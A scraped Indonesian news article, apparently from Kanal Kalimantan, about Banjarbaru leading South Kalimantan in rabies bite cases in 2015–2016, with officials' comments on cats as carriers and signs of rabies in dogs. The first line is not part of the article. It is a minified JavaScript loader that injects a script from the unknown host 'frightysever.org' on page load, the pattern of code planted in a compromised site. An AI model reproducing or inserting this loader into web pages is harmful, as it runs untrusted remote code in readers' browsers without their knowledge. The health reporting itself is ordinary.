(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kasus gigitan hewan penular rabies (GHPR) Banjarbaru selama dua tahun ini menduduki posisi teratas dari 13 kota/kabupaten di Kalsel. Tahun 2015 GHPR Banjarbaru mencapai 24 kasus, disusul Kabupaten Hulu Sungai Selatan (HSS) di posisi kedua dengan 20 kasus, dan posisi ketiga Kabupaten Hulus Sungai Tengah (HST).
Angka kasus gigitan hewan penular rabies (GHPR) ini memang mengalami naik turun di tiap kabupaten/kota. Hanya saja Banjarbaru tetap memegang posisi teratas pada tahun 2016 dengan angka kasus gigitan rabies meningkat menjadi 37 kasus.
Rabies ditularkan oleh hewan berdarah panas, dan 98 persen rabies ditularkan oleh anjing lalu sisanya oleh kucing dan kera. Sedangkan hewan penular rabies di Banjarbaru terbesar ditularkan oleh kucing.
“Banyaknya populasi kucing liar dan kucing peliharaan rumahan yang tidak di vaksin menyebabkan resiko rabies di Banjarbaru meningkat tajam di dua tahun terakhir,” jelas Evi Liani, Staf Dinas Kesehatan (Dinkes) Provinsi Kalimantan Selatan.
Rabies (Anjing Gila) adalah Zoonosis (penyakit yang dapat menular dari hewan ke manusia atau sebaliknya). Rabies adalah penyakit menular akut yang menyerang susunan syaraf pusat yang disebabkan oleh virus dan akan mengakibatkan kematian, virus ini dapat menyerang hewan berdarah panas dan manusia.
Virus ini disebabkan oleh lyssa dari golongan Rhabdovirus yang terdapat dalam air liur hewan penular rabies. Bentuknya seperti peluru. Ukurannya sangat kecil dan tidak bisa dilihat oleh mata biasa.
Lebih lanjut Bambang Sutiarjo SKM. M. Ph, Kepala Seksi Pengendalian Penyakit Menular Dinas Kesehatan Kalsel menjelaskan, bahwa tidak ada tes untuk mendiagnosis infeksi rabies pada manusia sebelum timbulnya gejala klinis.
“Jika pada anjing selain dari perilaku yang menjadi tidak menurut, suara berubah, lari tanpa tujuan, suka berkelahi, ekor berada diantara dua paha (membengkok kebawah) ini adalah tanda rabies ganas pada hewan. Hewan yang memiliki tanda seperti ini akan mati dalam 4-7 hari setelah tampak gejalanya,” jelas Bambang.
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
This website uses cookies.